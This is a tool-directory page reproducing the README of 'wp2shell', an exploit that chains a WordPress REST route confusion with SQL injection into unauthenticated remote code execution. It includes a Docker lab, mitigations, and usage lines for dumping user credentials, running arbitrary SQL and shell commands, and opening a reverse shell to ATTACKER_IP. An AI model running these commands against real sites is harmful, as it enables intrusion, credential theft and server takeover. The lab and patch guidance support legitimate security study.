Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-63030-CVE-2026-60137 — Pre-auth RCE exploit for WordPress (CVE-2026-63030 + CVE-2026-60137) chaining route confusion and SQL injection into full shell access. Includes Docker lab for safe testing. | Kitploit
Tools/GitHubGitHub/giangdurian/cve-2026-63030-cve-2026-60137
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationLabs & Practice
GitHub
giangdurian/cve-2026-63030-cve-2026-60137

CVE-2026-63030-CVE-2026-60137

Pre-auth RCE exploit for WordPress (CVE-2026-63030 + CVE-2026-60137) chaining route confusion and SQL injection into full shell access. Includes Docker lab for safe testing.

View Repository
703 months agoNot yet reviewed
Share

CVE-2026-63030 & CVE-2026-60137 — wp2shell

WordPress Core Pre-Auth RCE — Route Confusion + SQL Injection chained to Remote Code Execution

CVECVE-2026-63030 + CVE-2026-60137
Aliaswp2shell
Vulnerability TypeREST API Route Confusion → SQL Injection → RCE
SeverityCritical — CVSS 10.0
AffectedWordPress 6.9.0–6.9.4, 7.0.0–7.0.1
Fixed inWordPress 6.8.6, 6.9.5, 7.0.2
Auth RequiredNone (Pre-Auth)

Overview

wp2shell is the name for the exploit chain combining 2 vulnerabilities in WordPress Core:

  • CVE-2026-63030 — Route Confusion: Batch endpoint (/wp-json/batch/v1) index mismatch between $matches[] and $validation[] arrays when a sub-request has an invalid path, causing the next sub-request to run under the wrong handler → bypass REST API schema validation.
  • CVE-2026-60137 — SQL Injection: WP_Query::get_posts() does not sanitize the author__not_in parameter when it receives a string instead of an array → raw SQL injection.

The two bugs combined form a complete Pre-Auth RCE chain — from 0 credentials to shell on the server through just HTTP requests.

Exploit Chain

Route Confusion (bypass REST validation)
    → SQL Injection (read DB: users, secret keys)
        → oEmbed cache poisoning (read-only SQLi → write primitive)
            → customize_changeset (create new admin)
                → Plugin upload (webshell)
                    → Remote Code Execution

Read full technical analysis at REPORT.md


Lab Setup

Lab uses Docker Compose with 3 containers:

ContainerImagePort
WordPress (vulnerable)wordpress:6.9.48080
MySQLmysql:8.0internal
phpMyAdminphpmyadmin:latest8081

Requirements

  • Docker + Docker Compose
  • Python 3.8+ (stdlib only, no additional packages needed)
  • Bash (to run setup.sh)

Startup

cd wp2shell-lab
bash setup.sh

Script automatically:

  1. Pull images and start containers
  2. Install WordPress 6.9.4
  3. Seed sample data (posts, user)
  4. Enable MySQL general log + WP_DEBUG

Upon completion, it will display "WP2Shell Lab — READY!" along with login information.

Cleanup

cd wp2shell-lab
docker compose down -v

Exploit Usage

# Kiểm tra vulnerability
python3 exploit.py check http://TARGET:8080

# Kiểm tra + xác nhận SQLi
python3 exploit.py check --confirm-sqli http://TARGET:8080

# Đọc user credentials từ database
python3 exploit.py read --preset users http://TARGET:8080

# Chạy câu SQL tùy ý
python3 exploit.py read --query "SELECT @@version" http://TARGET:8080

# Full RCE — chạy command
python3 exploit.py shell --cmd "id" http://TARGET:8080

# Reverse shell
python3 exploit.py shell --reverse ATTACKER_IP:PORT http://TARGET:8080

PoC script rewritten from scratch, reference from Icex0/wp2shell-poc. Uses Python 3 stdlib only, no additional dependencies to install.


Exploitation Conditions

ConditionRequirement
WordPress version6.9.0–6.9.4 or 7.0.0–7.0.1
REST API batch endpointAccessible (enabled by default)
AuthenticationNot required
NetworkAttacker can reach WordPress

Mitigation

  1. Upgrade WordPress to >= 6.9.5 or >= 7.0.2 — the only thorough fix.
  2. Disable batch endpoint temporarily: add add_filter('rest_batch_disabled', '__return_true'); to functions.php.
  3. WAF rule: block requests to /wp-json/batch/v1 containing SQL keywords.

Disclaimer

This repository is created for research, learning, and CTF purposes in a controlled lab environment. Do not use to attack real systems. Any unauthorized exploitation is illegal.


References

  • Icex0/wp2shell-poc — Original reference PoC
  • WordPress 6.9.4 — class-wp-rest-server.php
  • WordPress 6.9.4 — class-wp-query.php
  • Patch diff 6.9.4 -> 6.9.5
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    989
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    576
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    354
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    339
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    323
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    315

Explore all tools

Browse our collection of tools

View all tools →